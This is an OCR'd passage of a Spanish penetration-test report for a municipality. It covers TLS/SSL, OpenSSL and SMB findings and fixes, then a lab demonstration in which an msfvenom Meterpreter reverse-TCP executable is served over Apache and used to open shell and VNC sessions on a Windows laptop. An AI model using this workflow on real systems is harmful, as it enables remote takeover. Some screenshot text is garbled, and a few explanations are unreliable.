Vulnerabilidad Nro. 2:

Calificacion:

Critico.

Detalle de la vulnerabilidad:

El servicio remoto acepta conexiones encriptadas usando SSL 2.0 y/o SSL 3.0.

Estas versiones de SSL se ven afectadas por varias fallas criptogréaficas, que

incluyen:

e Utilice un esquema de relleno inseguro para el cifrado CBC.

e Opciones poco claras para discutir y reanudar las reuniones. Los atacantes
pueden usar estas fallas para realizar ataques de hombre a hombre o descifrar
las comunicaciones entre un servicio afectado y un cliente. Aunque SSL/TLS es

una forma segura de elegir la version de protocolo mas compatible (de modo


https://appparapc.com/apk/4936398/

gue solo se utilizan versiones mejores si el cliente o el servidor no las admite),
muchos navegadores web implementan esto de forma insegura. Un punto
permite a un atacante degradar una conexion (por ejemplo, POODLE). Por lo
tanto, se recomienda deshabilitar estos protocolos por completo. NIST ha
determinado que SSL 3.0 ya no es adecuado para comunicaciones seguras. A
partir de la fecha de implementacién de PCI DSS v3.1, ninguna version de SSL

cumple con la definicién de PCI SSC de “cifrado fuerte".

Beneficios:

Proteger las transacciones economicas es decir pagos a través de internet

Comunicaciones entres servidores, entre la red, incluso base de datos.

Asegura las cuentas de usuario, grupos administrativos y directorios activos.

Solucién:

En su lugar, utilice TLS 1.2 que es la version mas nueva y actualizada de SSL (con

conjuntos de cifrados aprobados).

Para solucionar esta vulnerabilidad debemos entrar al EDITOR DE REGISTRO.
Protocolo de cifrado TLS 1.2 (Transport Layer Security)

Este protocolo es uUnicamente para brinda seguridad y privacidad en las

comunicaciones se surge en los equipos informaticos para que la informacion viaje

cifrada a través de algoritmos criptograficos el fin es que hara que la comunicacion

vaya segura.

Para ello nos dirigimos a siguiente enlace en nuestro equipo.

“Equipo\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secur

ity Providers\SCHANNEL\Protocols”

Ahora agregamos una nueva clave para SSL 2.0, 3.0.



Equipo\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControlN\SecurityProviders\SCHANI
SCMConfig ~ Nombre Tipo Datos

ScsiPort el (Predeterminado) REG_SZ (valor no
SecureBoot

SecurePipeServers
~ SecurityProviders
SasliProfiles
~ SCHANNEL
Ciphers
CipherSuites
Hashes

Protocols
SSL 2.0

SSL 3.0
V\’blgest

ServiceAaareaatedEvents

Agregamos NUEVA CLAVE para SERVER y CLIENT aplica en todos los

protocolos.

Dentro de las claves abrimos la carpeta para habilitar los protocolos de Seguridad
en ella hacemos clic derecho y agregamos un VALOR DE DWORD (32 BITS).

Equipo\HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocol

SCMConfig ~ Nombre Tipo Datos
ScsiPort 25| (Predeterminado) REG_SZ (valor no establedido)
SeciieBoot #%] Disabledbydefault REG_DWORD 0x00000001 (1)
> Secur_eplpeS?rvers %) Enable REG_DWORD Ox 00000000 (0)
- SecurityProviders
i SasliProfiles
~ SCHANNEL
i Ciphers

CipherSuites
i Hashes

8 CouE o
~ Proctocols

~ SSL 2.0

. Server

Client
SSL 3.0
TLS 1.0
TLS 1.1
TS 1.2

Dentro de los valores aplicamos “DisabledbyDefault” con el valor de 1 en
hexadecimal esto quiere decir que estara deshabilitado porque ahora este protocolo
es obsoleto y tiene vulnerabilidades de criptografia “Enable” en valor 0 indica que
no se habilitara.

Ahora finalmente llegamos a protocolo TLS este protocolo es muy necesario
habilitarlo por ello en “DisabledbyDefault” lo dejamos con valor 0 esto quiere decir
que no se deshabilitara y “Enable” con valor 1 esto es el objetivo ya que estara

habilitado el protocolo TLS



SCMConfig e ‘ Nombre Tipo Datos
ScsiPort 2b (D edeterminada) REG SZ Gaalocno.sstablecido)
SSrurEat 2| DisabledbyDefault REG_DWORD 0x00DDO00D (0)
Securebjpebenvers 2 Enabled REG_DWORD 0x00000001 (1)
SecurityProviders
SaslProfiles
4 SCHANNEL
i Ciphers
CipherSuites Editar valor de DWORD (32 bits) X
Hashes
KeyExchangeAlgorithms Nombre de valor:
v Protocols |Enabled
v SSL 2.0
; Seive Informacion del valor: Base
Client i) exieand
=5 SSL 3.0 (O Decimal
Server
Client Aceptar Cancelar
TLS 1.0
v TS 1.2
Server
Client

Aplicando todo esto estamos dando la solucion de seguridad permitiendo que la
informacion que navega vaya CIFRADA como por ejemplos que nuestros datos ya

sea de cuentas, datos personales y tarjetas bancarias vayan CIFRADOS.

Vulnerabilidad Nro. 3:

Vulnerabilidad MiTM 'ChangeCipherSpec' de OpenSSL

Calificacion:

Alto

Detalle de la vulnerabilidad:

El servicio OpenSSL del host remoto es vulnerable a los ataques man-in-the-middle
(MITM) porque acepta un protocolo de enlace especialmente disefiado. La
vulnerabilidad podria permitir a un atacante MiTM descifrar o falsificar mensajes
SSL solicitando a los servicios que inicien una comunicacion cifrada antes de
intercambiar material clave, proporcionando asi trafico futuro con claves
predecibles.

Tenga en cuenta que Nessus solo ha probado una vulnerabilidad MiTM SSL/TLS
(CVE-2014-0224). Sin embargo, Nessus concluye que los servicios de OpenSSL
en un host remoto también se ven afectados por otras seis vulnerabilidades
reveladas en el Boletin de seguridad de OpenSSL del 5 de junio de 2014: La funcion
"ssI3_read_bytes" contiene un error que permite inyectar datos en otras sesiones 0

permite un ataque de denegacion de servicio. Tenga en cuenta que este problema



solo se puede utilizar si SSL_MODE_RELEASE_BUFFERS estéa habilitado. (CVE-
2010-5298)
Hay un error en la implementacién del algoritmo de firma digital de curva eliptica
(ECDSA) que permite que se publiquen numeros aleatorios a través de un ataque
de canal lateral de caché "FLUSH RELOAD". (CVE-2014-0076)
Solucion:
Debemos incorporar el OPENSSL a nuestros sistemas operativos

OPENSSL
Esto protocolo de seguridad son bibliotecas relacionado con la criptografia esto
protocolo esta relacionado con la seguridad, ademas permite crear de forma
manuela certificados digitales que puedan aplicarse a un servicio.

Para poder solucionarlo se descarg6 el software OpenSSL.
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El proceso de instalacién de OpenSSL para Windows, tendremos que aceptar la

licencia y seleccionar el destino donde queremos instalar
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Aceptamos todos los términos y condiciones.

Luego abrimos el simbolo del sistema como administrador, entramos a la carpeta
donde se encuentra alojado OpenSSL, luego creamos los certificados, esto se
compone de dos archivos de la llave privada y la otra para el certificado y el tipo de
extension .key rsa:4096(cifrado fuerte).

Openssl req -nodes -x509 -newkey rsa:4096 -keyout server.key -out server.cer days
365 -subj /CN=*.bioxor.net

s.] Administrador: Simbolo del sistema

Microsoft Windows [Versidén 10.0.190844.1645]
(c) Microsoft Corporation. Todos los derechos reservados.

C: \WINDOWS\system32>cd C:\Program Files\OpenSSL-Win64\bin
C:\Program Files\OpenSSL-Win64\bin>openssl req -nodes -x509 -newkey rsa:4096 -keyout server.

key -out server.cer -days 365 -subj /CN=*.bioxor.net
Generating a RSA private key

C:\Program Files\OpenSSL-Win64\bin>_




Ahora debemos comprobar que en realidad se nos ha creado nuestro certificado

Windows (C) Archivos de programa OpenSSL-Winbd bin

-xbd,

PEM Chpl capi.dl dasync.dll |Il’_1c",rptr| 'I _1-x64  libssl-1

progs.pl server server.key tsget.p

Como se visualiza aparecen dos carpetas nuevas con certificado una es server.

cert y la otra es server.key.

Vulnerabilidad Nro. 4:

Divulgacién de informacion de OpenSSL Heartbeat (Heartbleed)

Calificacion:

Alto

Detalle de la vulnerabilidad:

El servicio remoto parece estar afectado por un error de lectura fuera de los limites.
Esta falla podria permitir a un atacante remoto leer el contenido de hasta 64 KB de
memoria del servidor, exponiendo potencialmente contrasefas, claves privadas y
otros datos confidenciales.

Solucion:

Actualice a OpenSSL 1.0.1g o posterior. Esto se soluciond con el caso anterior

Vulnerabilidad Nro. 5:

Deteccién de protocolo TLS version 1.0

Calificacion:
Medio



Detalle de la vulnerabilidad:

Las implementaciones modernas de TLS 1.0 mitigan estos problemas, pero las
versiones mas nuevas de TLS (como 1.2 y 1.3) estan disefiadas para abordar estas
debilidades y deben usarse siempre que sea posible.

A partir del 31 de marzo de 2020, los terminales que no tengan habilitado TLS 1.2
y versiones posteriores ya no funcionaran correctamente con los principales
navegadores web y los principales proveedores de servicios. PCI DSS v3.2 requiere
que TLS 1.0 esté completamente deshabilitado antes del 30 de junio de 2018,
excepto para los puntos finales de POS POI (y los puntos finales SSL/TLS a los que
se conectan) que se pueden verificar como vulnerables a vulnerabilidades
conocidas.

Solucién:

Habilite la compatibilidad con TLS 1.2 y 1.3 y deshabilite la compatibilidad con TLS
1.0. (Solucionado en el caso anterior).

Vulnerabilidad Nro. 6:

Habilitar Protocolo SMB2

Calificacion:
Alto
Detalle de la vulnerabilidad:
El protocolo de SMB no este habilitado ademas no es necesario firmar en el servidor
SMB remoto. Un atacante remoto no autenticado puede aprovechar esto para llevar
a cabo ataques de tipo "Man in the middle" contra el servidor SMB.
Solucién:

SMB
Server Message Block este protocolo funciona en la red local donde nos permite
compartir archivos impresoras y documentos, se comparte entre nodos de la red de
nuestros equipos informaticos. Este protocolo se identifica en la capa de modelo
TCP/IP.
Ahora para habilitar este protocolo es necesario ejecutar como Administrador el
PowerShell luego ejecutamos el siguiente comando “Set-

SmbServerConfiguration-enableSMB2Protocol $true” se establece la



configuracion del servidor SMB para habilitar el protocolo con valor de verdadero.

E¥ Administrador: Windows PowerShell

PS C:\Windows\system32>
PS C:\Windows\system32>
PS C:\Windows\system32)
PS C:\Windows\system32: Set-SmbServerConfiguration

Confirmar

¢Esta seguro de que desea realizar esta accidn?

Realizando la operacién ‘Modify' en el destino 'SMB Server Configuration®.

[S] S [0] Si a todo [N] No [T] No a todo [U] Suspender [?] Ayuda (el valor predeterminado es "S"):

Ahora verificamos que esté activado por ello ejecutamos el siguiente comando
“GetSmbServerConfiguration | Select EnableSMB2Protocol”.

E¥N Administrador: Windows PowerShell

PS C:\Windows\system32>

PS C:\Windows\system32>

PS C:\Windows\system32>

PS C:\Windows\system32: Set-SmbServerConfiguration

Confirmar

¢Esta seguro de que desea realizar esta accidén?

Realizando la operacién "Modify® en el destino 'SMB Server Configuration’.

[S] Si [0] Si a todo SLillebiGembilabiGeteliadCenililSisRendebembldiidamtal—talan=pnaadcterminado es "S™): S
PS C:\Windows\system32 Get-WindowsOptionalFeature SMB2Protocol

PS C:\Windows\system32! Get-WindowsOptionalFeature SMB2Protocol

PS C:\Windows\system32! Get-WindowsOptionalFeature SMB1Protocol

Ahora verificamos la infromacion que nos devuelve para saber si esta ya en nuestro

sistema operativo de windows.

FeatureName : SMB1Protocol

DisplayName : Compatibilidad con el protocolo para compartir archivos SMB 1.8/CIFS

Description : Compatibilidad con el protocolo para compartir archivos SMB 1.8/CIFS y el protocolo de
explorador del equipo.

RestartRequired : Possible

State : Disabled

CustomProperties :
ServerComponent\Description : Compatibilidad con el protocolo para compartir archivos
SMB 1.©/CIFS y el protocolo de explorador del equipo.
ServerComponent\DisplayName : Compatibilidad con el protocolo para compartir archivos
SMB 1.©/CIFS
ServerComponent\Id : 487
ServerComponent\Type : Feature
ServerComponent\UniquelName : FS-SMB1
ServerComponent\Deploys\Update\Name : SMB1Protocol

PS C:\Windows\system32> Get-SmbServerConfiguration | Select EnableSMB2Protocol

EnableSMB2Protocol

Finalmente vemos que nos da informacion SMB ademas nos dice la indicaciones

de compativilidad para compartir archivos.

FASE NRO 5: EXPLOTACION

Esta fase es la mas importante debido a que aqui aprovechamos los fallos o bugs
de la maquina para poder ganar, filtrarse o tener acceso a la maquina, esto pasa
cuando se halla encontrado un fallo o vulnerabilidad siendo asi se explota para
ganar acceso. Pero en esta fase debemos entender los siguientes conceptos para

entenderlo mejor.



Kali Linux: Es un sistema operativo y distribucion de Linux basado en Debian fue
disefia principalmente para realizar auditorias de seguridad informatica como son
las pruebas de penetracion, ingenieria inversa, informética forense, y todo lo

relacionado en lo que es seguridad y hacking.

Exploit: En el @mbito de la ciberseguridad el exploit se considera como parte de un
software o bien una secuencia de lineas de comandos que se aprovecha de un fallo
de seguridad o una vulnerabilidad con el fin de provocar un mal comportamiento no

intencionado en un hardware o software del sistema operativo que se atacara.

Metasploit: Es un software de cédigo abierto disefiada para la seguridad
informatica su principal objetivo es brindad informacion de las vulnerabilidades de
seguridad ademas ayuda en tests de pentesting el trabajo que realiza es desarrollar

herramientas y ejecutar exploits contra un equipo remoto.

Payload: Este es un cédigo malicioso que es ejecutado Unicamente en la fase de
posexplotaciéon y explotacion donde se le es enviado a la victima para comprobar
el nivel de seguridad en la que se encuentra, ya obtenido todos los pasos que fueron
el reconocimiento, el escaneo, etc. Debera ejecutar el cddigo malicioso para

explotar la vulnerabilidad

Meterpreter: Una vez explotado la vulnerabilidad es donde ya se gana el acceso a
la maquina. Entonces con meterpreter se es utilizado para ejecutar tareas de forma
anénima y remota en la maquina victima teniendo el control de la maquina
vulnerada donde se puede hacer infinidades de cosas como ver lo que esta

haciendo ver todo tipo de archivos incluso control de la camara, etc.

Ahora se hara una demostracion con el unico fin de saber los temas que hace un
atacante siendo asi para nosotros darnos cuenta y tener mecanismos de seguridad

ante estos ataques.

Como primer paso debemos hacer:



Comando: ifconfig

Donde: ifconfig sirve para identificar las direcciones ip y las interfaces y

configuraciones

linux@Linux: ~

Archivo Acciones Editar Vista Ayuda

ethV. Tlagssl Lol R AN ASERLINNTNG, MULTICAST> mtu 1500
Al 102 .168.1.158 netmask 255.255.255.0 broadcast 192.168.1.255
inete te80@:: ~ "~ """ " T:te4l1:f772 prefixlen 64 scopeid ©x20<link>
inet6 2800:4 ee:eaba:64ff:fesl1:Ff772 prefixlen 64 scopeid @x0@<g
lobal>
inet6 2800:4bO:91( 11:2cc3:1b2b prefixlen 64 scopeid 0x0<g
lobal>
ether sHEICET= T2 txqueuelen 1000 (Ethernet)
packets 36985 bytes 45493766 (43.3 MiB)
errors 0 dropped 1 overruns 0 frame ©
packets 15044 bytes 2478266 (2.3 MiB)
errors 0 dropped @ overruns 0 carrier © collisions ©

lo: flags=73<UP, LOOPBACK, RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid ©@x1@<host>

loop txqueuelen 1000 (Local Loopback)
packets 8 bytes 480 (480.0 B)
errors @ dropped © overruns © frame ©
packets 8 bytes 480 (480.0 B)
errors © dropped © overruns © carrier © collisions ©

Para empezar, debemos saber que la IP del atacante es 192.168.1.158 es esa la

IP con la que se va a trabajar todo el proceso.

Comando: Is /urs/share/metasploit-frameword/

root@Linux: /homeflinux
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/usr/share/metasploit-framework/

metasploit-framework.gemspec

Gemfile.lock

Ahora en el directorio USR share nos damos cuenta de que existe la carpeta

metasploit-frameword siendo la estructura de metasploit.

Comando: Is /usr/share/metasploit-frameword/modules



/home/linux
/usr/share/metasploit-framework/modules/

Dentro de las estructuras de directorios uno de los mas interesante es el de modulos

como por el ejemplo evasién se realiza para poder hacer evasiones ya sea firewall,
antivirus, etc.

Comando: Is /usr/share/metasploit-frameword/modules/exploit

/home/linux
Jusr/share/metasploit-framework/modules/exploits

example_linux_priv_esc.rb

Al ejecutar el comando nos devuelve el tipo de exploit que existen dentro de ella

estan los exploit para Windows en esos exploit se trabajara.

Comando: use auxiliary/scanner/portscan/syn

root@Linux: /home/linux
Archivo Acciones Editar Vista Ayuda
) > set THREADS
) > show options
e options (auxiliary/scanner/portscan/syn):

Description

DELAY
INTERFACE
JITTER

PORTS 1-500
RHOSTS 192.168.1.174

SNAPLEN

192.168.1.174:
of 1 hosts (
Auxiliary module execu




Como se observa entramos al médulo auxiliar para realizar un escaneo de puertos
el modulo syn sirve para que el escaneo de puerto sea sigiloso con el fin de no
generar mucho ruido de medio de comunicacion. Después hacemos un show
options para verificar el tipo de pardmetros que tiene el médulo syn como se ve nos
dice que se van a escanear 500 puertos ademas el RHOSTS es la direccion IP de

la maquina que seréa atacada.

Comando: msfvenon -p Windows/meterpreter reverse_tcp —plataform Windows -a
x86 -f exe LHOST=192.168.158 LPORT=4444 -O /home/Linux/iroman3.exe

o linux@Linux: ~
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;lﬂj windows/meterpreter/reverse_tcp tf windows
/home/1linux/iroman3.exe
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /home/linux/iroman3.exe

- ~

iroman3.exe

Ahora se observa que con ese comando se crea el payload creando la conexién
con las direcciones IP de la maquina Linux a través de esta conexion estaremos

teniendo acceso a la maquina Windows.

Comando: sudo service apache? start



linux@Linux: ~
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iroman3.exe /var/www/html

[SUOOJ conLrasena para Linux:

apaéhez start

Después de copiar el archivo iroman3.exe en modo root, se debe correr el archivo

de apache porque es ahi donde se encuentra el payload.

Después de abrir la consola de metasploit se debe realizar el siguiente:

Comando: set PayLOAD Windows/meterpreter/reverse_tcp

-set LHOST 192.168.1.158

-set LPORT 4444

tcp
HO 192 .168.

LPORT 4464
> show options
Module options (exploit/multishandler):

MName Current ing Reguired Description

ayload cptions (wi ws/meterpreter/reverse_tcp):

MName Curre ing Required ription

EXITFUNC roce WE

LHOST

LPORT

Exploit target:

Id Name

(5] wWildcard Target



Los comandos ejecutados sirvieron para establecer los parametros tanto como es
el payload, direccion IP y el host, los siguientes parametros sirven para establecer
una conexion entre maquinas. Cabe recalcar que siempre es necesario ejecutar el
show options para comprobar si en verdad se establecieron las conexiones del

payload.

Para empezar el ataque:

Comando: exploit

msfEe exploit( ) > exploit

rted reverse TCP handler on 192.
1 75174 bytes) to 192.

ion 1 opened (192. L1581 4441 2.168.1.159:68172 ) at
3145 +0100

Como se observa vemos que efectivamente se establecidé la conexion de la
maquina Linux con la maquina Windows (192.168.1.159) siendo asi nos muestra

que ahora la sesidén de meterpreter se establecio.

Entonces es aqui donde ya tenemos el control de la maquina

Comando: sysinfo

svsinto
LAPTOP-37ER
wWindows 1@ @ Build 19@44).
hitecture

vstem Language : M
Domain : WORKGROUP
Logged On Users
Meterpreter = i Awd oOWS

Este comando sirve para ver la informacion de la maquina que fue atacada en este
caso fue una laptop con sistemas operativo Windows ademas posee una

arquitectura de x64Bits.

Comando: SHELL



Process 8120 created.

Channel 1 created.

Microsoft Windows [Versien 10.0.19044.2251]

(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\ECHE\Downloads>]

El comando Shell sirve para escalar privilegios es decir tener acceso como
administrador en la maquina Windows y eso se observa porque en la linea de
comando nos muestra el comando tipico de Windows con estructura diferente
(C:\Users\ECHE\Downloads).

Para aclara el ataque, vamos a ejecutar uno de los muchos comandos que se

utilizan para interactuar con la maquina remotamente

Comando: run vnc

Linux@ Linux: ~

Archivo Acciones Editar Vista Ayuda

met
: LHO5T=192.168.1.158 LPORT=4545

Temp\AuBSYTTUn.exe (must be deleted manually)

U3 wae

El comando sirve para ejecutar un controlador de carga al usuario de la maquina
Windows que es C:\Users\ECHE\AppData\Loca\Temp\AuBSYTTUn.exe como
seguridad nos dice que debemos eliminar manualmente ese archivo que se ejecuta

automaticamente.

meterpreter > VNC Server session 3 opened (192.168.1.158:4545 — 192.168.1.159:60903 ) at 2022-11-12 00
145:39 10100
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name "laptop-37eri84i”
VNC server default format:

32 bits per pixel.

Least significant byte first in each pixel.

True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:

32 bits per pixel.

Least significant byte first in each pixel.

True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
exit

Shutting down Meterpreter ...




Es ahi donde se conecta al servidor RFB utilizando el protocolo 3.8, para que luego
sea habilitado de forma necesaria, en el final se autentifica de forma exitosa al

escritorio de la Laptop-37eri84i

En general este comando sirve para tener el acceso remoto a la maquina Windows

con el unico fin de observar que tareas esta haciendo la maquina Windows.

ES O ) A O 129 | & G

TightVNC: laptop-37eri84i

JORGE ECHE Saca atin mas provecho de Windows

tema

Como se observa dentro de la maquina Linux esta corriendo como tarea la

configuracion de Windows.

Solucion: Para eliminar el ejecutable que establece una conexién remota

Para ello debemos ingresar el siguiente link C:\Users\ECHE\AppData\Local\Temp\



Windows (C:)

Este equipo

Nombre
yyL.tmp

G9E.tmp

Usuarios ECHE

Fei
11

ipcian del archin
[ pach

AppData Local

Temp

Tamafio

Como se observa hemos encontrado al archivo ejecutable que hace establecer una

conexion remota.

B 129258a0- 5af4-476c-9023-d42e5e8d

‘ 2c38deea-890b-4889-90ff-ddBack
B 223A3931-09D2-448A-A2CO-1E7C
B 91986¢7c-8127-485b-aaBc-af01b5
B 23bdebif-4242-4d69-9af c- 18935
B AuBSYTTUn

B =dc5271-4cca-4d39-94f3- 25aabdl
= hjlajG

B JfXJvhiLomQq

E MicrosoftEdgeUpdate

«  OptanelconOverlay

‘ prep_x86_ Bwekyb3dibbwe_Offiy
‘ prep_x86__Bwekyb3dibbwe_Offiy
‘ prep_6031_15726_20174_0_x86__&

win32 bundle V

% Examinar con Microsoft Defender....

SEe SR aE ama

& Compartir

Conceder acceso a

Anadir al archivo...

Afiadir a "Temp.rar"

Afiadir y enviar por email...

Afiadir a "Temp.rar” y enviar por email
Enviar a

Cortar

I:J:-piar

Crear acceso directo

Eliminar

Posteriormente pasaremos a eliminarlo en realidad se elimin6 todo lo que hay en el

archivo TEMP, para poder eliminar esta vulnerabilidad y ejecutable que se cre6

después de hacer una auditoria de pentester.

Solucioén: Para proteger nuestros datos o informacion personal

Como bien sabemos el atague fue éxito donde se tuvo control total de la maquina

atacada ahora en ello tenemos un riesgo debido a que tiene la informacion de la

maguina como son archivos documentos y datos personales.



Entonces es recomendable encriptar nuestro archivo con la Unica finalidad de
proteger nuestros archivos importantes, el principal objetivo es que si encriptamos
nuestros archivos el atacante no podré tener acceso a ellos debido a que nuestros
datos se encuentra ocultos, siendo nosotros quien solo tengamos acceso a la

informacion.

Cryptomator

Lo que nos permite Cryptomator es crear una especie de gran carpeta cifrada con
protocolo AES, como si se tratase de una caja fuerte, y a la que nadie puede
acceder sin nuestro permiso. En esta caja podras meter todo tipo de archivos que
no quieres que nadie los vea sin el cédigo correcto de desbloqueo. La ventaja de
Cryptomator es que no solo te permite crear una carpeta protegida en tu ordenado
de forma local, sino que también puedes hacerlo en Dropbox o en Google Drive y
tendras sincronizados los documentos guardados en el almacenamiento en la nube

sin que nadie pueda leerlos sin tu permiso.

Para iniciar, Primero se debe ingresar al siguiente link https://cryptomator.org/ para

descargar el software e instalarlo

Para ir interactuar con el software se debe crear una primera BOVEDA o Caja
Fuerte, Entonces haremos clic en el signo «+» para afiadir una nueva Béveda es la
particiobn que se creara para guardar y encriptar los archivos que se consideran

importantes.


https://cryptomator.org/
https://cryptomator.org/

Tipo Tamafio

& ARadir béveda =
o o x
= -
." . |
® o _
& e
‘ I & Crear béveda nueva I ’
% las por elegir Cryptomator para proteger sus archivos. En caso de
B8 Abrir béveda existente kitar ayuda, revise nuestras guias: docs.cryptomator.or
+ Afadir béveda

Ahora escribimos un nombre para la Bdéveda en este caso se le llamara

«MUNISECHURA>» luego le daremos en continuar.

& AnRadir béveda x
o o2

Elegir un nombre para la boveda ‘
r‘ MuniSechura I ] «;»J. . f-
L 4 A

|s por elegir Cryptomator para proteger sus archivos. En caso di
sitar ayuda, revise nuestras guias: docs.cryptomator.or

Volver . Continuar -

Luego elegimos la ruta donde se deben almacenar los archivos cifrados, lo
importante de este software es que también se puede almacenar la informacion en

la nube como OneDrive, Drive, Dropbox, iCloud incluso en Mega.



n Tipo Tamano

& Adnadir béveda >
2Dénde se deben almacenar los archivos cifrados de la béveda?
OneDrive
* Ubicacion personalizada 8 Elegir...
Lugar de almacenamiento
I C:\U'.ers\lNFORMATICA\DO(Umcnts\MumScchuroI
v
s por elegir
pitar ayuda, re
I 4+ Afadir béveda

A continuacion, tendremos que crear una contrasefia fuerte en este caso no se
accederan a sus datos su contrasefa, también debemos crear una clave de

recuperacion en caso de que se olvide la contrasefa.

n Tipo Tamano

&% Afadir béveda

Ingrese una contrasefa nueva

LA B B L L B B L B 2 L L 2 2 3 L & & 2 L X2 ¢

Confirme la contraseria nueva

LA A B A L & A & L & & L & & & & & & 2 & 5 5 2 *

Ahora para desbloquear la béveda debemos ingresa la contrasefia que se le asigno,
al visualizar la parte de «DISPOSITIVOS Y UNIDADES» solo se encuentra dos
particiones y la particion de «MuniSechura» se encuentra encriptada debido a que
aun no hemos ingresado con la clave que se le asigno.



Mostrar |

Preferencias

: MuniSechura »| Desbloquear

ESP

@ ~DnE

- v yus - — _

|| Documentos Objetos 3D Videos
| Imagenes * l m

Capturas de pantall ; 20 .
i P v Dispositivos y unidades (2)
J\ Musica

Disco local (C:) Disco local (D:)

releasix-master H-| —_—

System32 ~ 42.9 GB disponibles de 99.4 GB ~ 388 GB disponibles de 731 GB
@ OneDrive & Desbloquear "MuniSechura" X
[ Este equipo

Ingresar contrasena para "MuniSechura":
‘1 Bibliotecas ' $0000000000000000000000 1+
& Red Recordar contrasefia
Cancelar I Desbloquear

Pero al momento de ingresar con la contrasefia y le damos en Desbloquear
notamos que aparece una nueva unidad virtual en la que tendremos acceso a
nuestros archivos protegido.

I
. Dispositivos y unidades (2)

Disco local (C:) Disco local (D:)
=4
o
~ : ~ 731GB

v Ubicaciones de red (1)

MuniSechora & Desbloquear "MuniSechura" X
-~ (\\cryptomator-vault@42427\Dav...
S e — iDesbloqueo de "MuniSechura” exitoso! Su béveda ahora

es accesible a través de su unidad virtual.
Recordar opcién y no mostrar de nuevo
Hecho Revelar unidad

FASE NRO 6: REPORTE

En los sistemas operativos es recomendable aplicar:



POLITICAS DE SEGURIDAD DE LA INFORMACION

Como estrategia para mejorar el proceso de demostracion de seguridad de la
informacion se enfoca no solo en proteger la infraestructura de la Municipalidad sino
también en crear espacios de sensibilizacion y formacion, a través de politicas,
Lineamientos y procedimientos de seguridad informatica que permitan fortalecerla
sus tecnologias, apoyando su mision y procesos de gestion. se plantean una serie
de recomendaciones de buenas practicas que se basan en los resultados
obtenidos.

Politica Nro. 1: Contrasefias seguras

Procedimiento:

e El personal de la municipalidad no debe usar la misma contrasefia para
dispositivos personales y para dispositivos de la empresa, igualmente se
deben tener contrasefias diferentes para cada sistema dentro de la
organizacion.

e Todas las contrasefas de nivel administrador incluidas las de root deben ser
cambiadas cada 3 meses y las contrasefias de usuarios limitados cada 2
meses.

e Las contrasefias de correos electronicos de la municipalidad y dispositivos
deben ser cambiadas cada 3 meses.

e El tamafio de las contrasefias debe ser de minimo 10 digitos donde se

incluyan mayusculas minusculas, numeros y caracteres alfanuméricos.

Politica Nro. 2: Cifrar las direcciones IPV4y DNS

Procedimiento:

e La herramienta DNScrypt se encarga de cifrar las peticiones DNS desde

nuestro ordenador al servidor DNS. De esta forma podremos evitar atagues



Man in the middle, DNS suplantacion y que nuestro ISP o un atacante pueda
espiar las paginas web que visitamos, ya que, aunque intercepten la peticion
no podran averiguar su contenido.

Al utilizar la VPN nos permite navegar seguro y privado a los recursos de la

municipalidad.

Politica Nro. 3: Informacion cifrada y encriptada

Se deben aplicar técnicas criptograficas para permitir el uso apropiado y
eficaz de la informacién, con el fin de proteger la confidencialidad,
autenticidad e integridad de la informacion.

Se debe tener procedimientos para el uso, la proteccion y la vida util de las
claves criptogréaficas, evitando que se usen cuando éstas se exponen o
caduquen.

Utilizar herramientas de encriptacion de informacion.

Politica Nro. 4: Ingenieria Social y Phishing

Procedimiento:

Si el usuario no esta seguro del origen de un enlace, correo electrénico u
otra comunicacion, el colaborador debera buscar orientacion y notificar
inmediatamente al Area de Informética.

El personal no debera proporcionar su nombre o contrasefia a través de
ningun enlace de correo electronico, llamada telefonica u otro método hasta
gue el solicitante esté totalmente identificado y verificado.

Aplicar filtros de spam para evitar caer en el arte del engafio.



Desarrollo

Politica Nro. 5: Directivas de bloqueo de cuentas

Esta configuracion de seguridad determina el nimero de minutos que una cuenta
blogueada permanece en este estado antes de desbloquear automaticamente. Esta
configuracion de seguridad determina el nUumero de minutos que deben transcurrir
tras un intento de inicio de sesion incorrecto, en este caso colocamos 30 minutos

de bloqueo.

Umbral de bloqueo de cuenta

Esta configuracion de seguridad determina el nUmero de intentos de inicio de sesion
incorrectos que hacen que una cuenta de usuario se bloquee. Son 3 los intentos

que se aplico en las directivas de bloqueo.

~

Directiva Configuracién| Propiedades: Umbral de bloqueo de cuenta

Duracién del bloqueo de cuenta 30 minutos 3
q R Configuracin de sequridad local  Explicacién

&“ Umbral de bloqueo de cuenta 3 intentos de in-I -’é' Umbral de blogqueo de cuenta

bloqueara después de:

3 =1 intentos de inicio de sesion no validos

Ahora comprobamos que en el equipo de informatica muestra en la pantalla el
mensaje de que la cuenta a que se requiere entrar se encuentra bloqueada debido

a que excedio el limite de intentos incorrectos.
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Politica Nro. 6: Contrasefias seguras en los correos del Portal web

Para iniciar debemos acceder como administrador para cumplir con las politicas de

contrasefias en los correos de la organizacion.

Entonces debemos ingresar a CPANEL e iniciar sesibn como administrador.

cPane/

Nombre de usuario

1 munisech

Contrasena

Inicio de sesion

Estos son algunos correos de la organizacion, empezaremos a seleccionar una por
una para cambiar contrasefias con el fin de tenerlas mas seguras y fuertes para

evitar un ataque de fuerza bruta.



ount @ Domain Restrictions Storage: Used / Allocated A / %

o > a a@munisechur... « Unrestricted 88.08 MB / 150 MB / 58.72% ‘
O > 3 iunisechura.go... + Unrestricted 72.89 MB / 150 MB / 48.59% ‘
O > a risechura.gob.pe 64.63 MB / 150 MB / 43.09% ‘
O > i anisechura.gob... + Unrestricted 73.48 MB / 150 MB / 48.99% ‘
0O > ja sechura.gob.pe « Unrestricted 132.3 MB/ 150 MB / 88.2% ‘
(]} > e dmunisechura.... + Unrestricted 123.87 MB /150 MB / 82.58% ‘
a > ip iechura.gob.pe + Unrestricted 72.75 MB / 150 MB / 48.5% ‘
O > In isechura.gob.pe + Unrestricted 70.61 MB /150 MB / 47.08% ‘
